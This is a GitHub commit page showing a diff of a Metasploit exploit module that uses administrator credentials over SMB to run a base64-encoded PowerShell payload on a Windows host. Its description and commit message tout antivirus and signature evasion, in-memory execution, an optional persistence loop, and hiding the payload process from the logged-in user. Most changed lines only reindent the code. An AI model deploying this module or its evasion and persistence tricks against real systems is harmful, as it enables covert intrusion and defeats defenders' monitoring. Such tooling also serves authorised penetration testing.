Skip to content

Commit 92ef462

Browse files
author
RageLtMan
committed
This commit completes powershell based psexec
The original module suffered from a small problem - interactive process notification from Desktop 0 for users currently logged in. Although acheiving full AV evasion, we were setting off UserAlert. This commit updates the module itself to match rapid7#1379 in R7's repo. The size of powershell payloads has been reduced, and a wrapper added to hide the actual payload process entirely.
1 parent 6ba85d4 commit 92ef462

File tree

1 file changed

+59
-58
lines changed

1 file changed

+59
-58
lines changed

modules/exploits/windows/smb/psexec_psh.rb

Lines changed: 59 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,17 @@
11
# -*- coding: binary -*-
2-
#!/usr/bin/env ruby
32

43
require 'msf/core'
54

65
class Metasploit3 < Msf::Exploit::Remote
7-
Rank = ManualRanking
6+
Rank = ManualRanking
87

98
# Exploit mixins should be called first
10-
include Msf::Exploit::Remote::DCERPC
11-
include Msf::Exploit::Remote::SMB
12-
include Msf::Exploit::Remote::SMB::Authenticated
13-
include Msf::Exploit::Powershell
14-
include Msf::Auxiliary::Report
15-
include Msf::Exploit::EXE
9+
include Msf::Exploit::Remote::DCERPC
10+
include Msf::Exploit::Remote::SMB
11+
include Msf::Exploit::Remote::SMB::Authenticated
12+
include Msf::Exploit::Powershell
13+
include Msf::Auxiliary::Report
14+
include Msf::Exploit::EXE
1615

1716
# Aliases for common classes
1817
SIMPLE = Rex::Proto::SMB::SimpleClient
@@ -24,40 +23,42 @@ def initialize(info = {})
2423
'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
2524
'Description' => %q{
2625
This module uses a valid administrator username and password to execute a powershell
27-
payload using a similar technique to the "psexec" utility provided by SysInternals. The
28-
payload is encoded in base64 and executed from the commandline using the -encodedcommand
29-
flag. Using this method, the payload is never written to disk, and given that each payload
30-
is unique, is not prone to signature based detection. Since executing shellcode in .NET
31-
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
32-
must match that of the payload. Lastly, a persist option is provided to execute the payload
33-
in a while loop in order to maintain a form of persistence. In the event of a sandbox
34-
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
26+
payload using a similar technique to the "psexec" utility provided by SysInternals. The
27+
payload is encoded in base64 and executed from the commandline using the -encodedcommand
28+
flag. Using this method, the payload is never written to disk, and given that each payload
29+
is unique, is not prone to signature based detection. Since executing shellcode in .NET
30+
requires the use of system resources from unmanaged memory space, the .NET (PSH) architecture
31+
must match that of the payload. Lastly, a persist option is provided to execute the payload
32+
in a while loop in order to maintain a form of persistence. In the event of a sandbox
33+
observing PSH execution, a delay and other obfuscation may be added to avoid detection.
34+
In order to avoid interactive process notifications for the current user, the psh payload has
35+
been reduced in size and wrapped in a powershell invocation which hides the process entirely.
3536
},
3637

3738
'Author' => [
3839
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
39-
'RageLtMan <rageltman[at]sempervictus' # PSH exploit
40+
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
4041
],
4142

4243
'License' => MSF_LICENSE,
43-
'Privileged' => true,
44-
'DefaultOptions' =>
45-
{
46-
'WfsDelay' => 10,
47-
'EXITFUNC' => 'thread'
48-
},
49-
'Payload' =>
50-
{
51-
'Space' => 8192,
52-
'DisableNops' => true,
53-
'StackAdjustment' => -3500
54-
},
55-
'Platform' => 'win',
56-
'Targets' =>
57-
[
58-
[ 'Automatic', { } ],
59-
],
60-
'DefaultTarget' => 0,
44+
'Privileged' => true,
45+
'DefaultOptions' =>
46+
{
47+
'WfsDelay' => 10,
48+
'EXITFUNC' => 'thread'
49+
},
50+
'Payload' =>
51+
{
52+
'Space' => 8192,
53+
'DisableNops' => true,
54+
'StackAdjustment' => -3500
55+
},
56+
'Platform' => 'win',
57+
'Targets' =>
58+
[
59+
[ 'Automatic', { } ],
60+
],
61+
'DefaultTarget' => 0,
6162
'References' => [
6263
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
6364
[ 'OSVDB', '3106'],
@@ -67,20 +68,20 @@ def initialize(info = {})
6768
]
6869
))
6970

70-
register_options([
71-
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
72-
OptBool.new('RUN_WOW64', [
73-
false,
74-
'Execute powershell in 32bit compatibility mode, payloads need native arch',
75-
false
76-
]),
77-
OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
78-
], self.class)
71+
register_options([
72+
OptBool.new('PERSIST', [false, 'Run the payload in a loop']),
73+
OptBool.new('RUN_WOW64', [
74+
false,
75+
'Execute powershell in 32bit compatibility mode, payloads need native arch',
76+
false
77+
]),
78+
OptBool.new('PSH_OLD_METHOD', [false, 'Use powershell 1.0', false]),
79+
], self.class)
7980
end
8081

8182

82-
def exploit
83-
command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
83+
def exploit
84+
command = cmd_psh_payload(payload.encoded,datastore['PSH_OLD_METHOD'])
8485

8586
#Try and authenticate with given credentials
8687
if connect
@@ -90,15 +91,15 @@ def exploit
9091
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
9192
return
9293
end
93-
# Execute the powershell command
94-
begin
95-
print_status("#{peer} - Executing the payload...")
96-
#vprint_good(command)
97-
return psexec(command)
98-
rescue StandardError => exec_command_error
99-
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
100-
return false
101-
end
94+
# Execute the powershell command
95+
begin
96+
print_status("#{peer} - Executing the payload...")
97+
vprint_good(command)
98+
return psexec(command)
99+
rescue StandardError => exec_command_error
100+
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
101+
return false
102+
end
102103
disconnect
103104
end
104105
end
@@ -224,8 +225,8 @@ def psexec(command)
224225
return true
225226
end
226227

227-
def peer
228-
return "#{rhost}:#{rport}"
229-
end
228+
def peer
229+
return "#{rhost}:#{rport}"
230+
end
230231

231232
end

0 commit comments

Comments
 (0)